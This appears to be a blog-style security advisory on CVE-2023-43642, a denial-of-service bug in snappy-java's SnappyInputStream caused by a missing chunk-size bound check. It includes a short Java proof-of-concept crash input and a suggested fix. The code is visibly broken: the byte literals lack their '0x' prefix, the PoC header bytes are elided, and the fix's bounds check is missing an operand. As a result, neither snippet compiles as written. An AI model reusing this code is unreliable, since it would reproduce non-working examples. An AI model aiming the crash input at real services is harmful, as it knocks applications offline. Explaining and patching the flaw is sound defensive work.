CVE-2023-43642 - How a Missing Bound Check in snappy-java Can Crash Your Apps

When it comes to Java data compression libraries, snappy-java is a household name. It brings Google's lightning-fast Snappy compression algorithm from C++ to the Java world, and it's become a go-to library in everything from distributed databases to big data frameworks. But if your application uses SnappyInputStream, you need to be aware of CVE-2023-43642: a simple mistake in the code that can let a malicious user knock your service offline with just a cleverly crafted decompressed file. Let’s break down what happened, look at the code, and talk about what you can do.

What is CVE-2023-43642?

CVE-2023-43642 is a vulnerability in snappy-java – specifically in the way SnappyInputStream decompresses data. The issue? There was no upper limit check on the size of data chunks during decompression. If an attacker sends a compressed block that claims to be an enormous size, SnappyInputStream tries to allocate the memory, the allocation fails, and your Java process dies––potentially taking your application down with it.

All versions up to and including 1.1.10.3 are affected.

Why Is This a Big Deal?

A vulnerability like this is known as a Denial of Service (DoS) risk. Unlike code execution or data theft, DoS attacks focus on making the service unavailable to legitimate users. You might think, “Who cares if they make decompression crash?” The problem is if your app reads user-supplied snappy-compressed data (e.g., file uploads, streams, etc.) through SnappyInputStream, a trivial payload could cause your app to throw an unhandled exception or even crash the JVM.

The Code Problem: No Upper Bound = Big Trouble

Let’s look at the core of the bug. The vulnerable code in SnappyInputStream.java (pseudocode for clarity) is roughly:

// Simplified example: reading a chunk size from the input stream
int chunkLen = readChunkLength(); // attacker controls this value

byte[] chunk = new byte[chunkLen]; // Yikes! No upper limit check

//... code that decompresses into chunk[]

If the attacker sets chunkLen to be something huge (like 2 GB), Java will try to allocate a 2 GB byte array, which will almost certainly fail, throwing an OutOfMemoryError. Depending on how your application is coded, this could grind your server to a halt.

How You Could Exploit This

To exploit CVE-2023-43642, an attacker just needs to submit a snappy-compressed file or stream where the chunk length field is set to an extremely large value.

Proof of Concept (PoC)

Here’s a minimal demo (in Java) for a vulnerable version of snappy-java.

import java.io.ByteArrayInputStream;
import org.xerial.snappy.SnappyInputStream;

public class SnappyCrashDemo {
    public static void main(String[] args) throws Exception {
        // This array simulates a snappy chunk with a bogus, enormous length
        // Let's say the chunk header says 2 GB (too big to handle!)
        byte[] maliciousInput = new byte[] {
            // ...header stuff...

            (byte)xFE, (byte)xFF, (byte)xFF, (byte)x7F // reverse-encoded 2,147,483,647 (Integer.MAX_VALUE)
            // ...no real compressed data needed!
        };

        SnappyInputStream sis = new SnappyInputStream(new ByteArrayInputStream(maliciousInput));
        sis.read();  // Will eventually try to allocate a huge array and crash with OutOfMemoryError
    }
}

What Happens?
The moment the library sees this bogus chunk, it attempts to create an array far too big, which causes a catastrophic OutOfMemoryError or worse, leading to a denial of service.

The Fix: Hard Limit on Chunk Size

The solution is simple: check the chunk size before allocating a buffer! The fix was introduced in commit 9f8c3cf74, which will appear in the next release (1.1.10.4).

Here’s how a safe fix looks

// Set a max chunk size (based on decoder design)
private static final int MAX_CHUNK_SIZE = 1 << 24; // 16 MB, for ex.

if (chunkLen <  || chunkLen > MAX_CHUNK_SIZE) {
    throw new IOException("Invalid chunk length: " + chunkLen);
}

byte[] chunk = new byte[chunkLen];

Upgrade to snappy-java 1.1.10.4 as soon as it’s available.

snappy-java GitHub Releases

Allow only trusted data sources.

- Never process compressed data from untrusted users/uploaders.

References

- snappy-java GitHub Repository
- Vulnerability Report on GitHub
- Patch Commit 9f8c3cf74
- CVE-2023-43642 at NVD

TL;DR

If your Java servers decompress snappy data, make sure you’re running snappy-java 1.1.10.4 or newer. Until then, don’t trust compressed data from users. A single malicious chunk could bring your whole server down with a memory error.

Timeline

Published on: 09/25/2023 20:15:00 UTC
Last modified on: 09/26/2023 15:46:00 UTC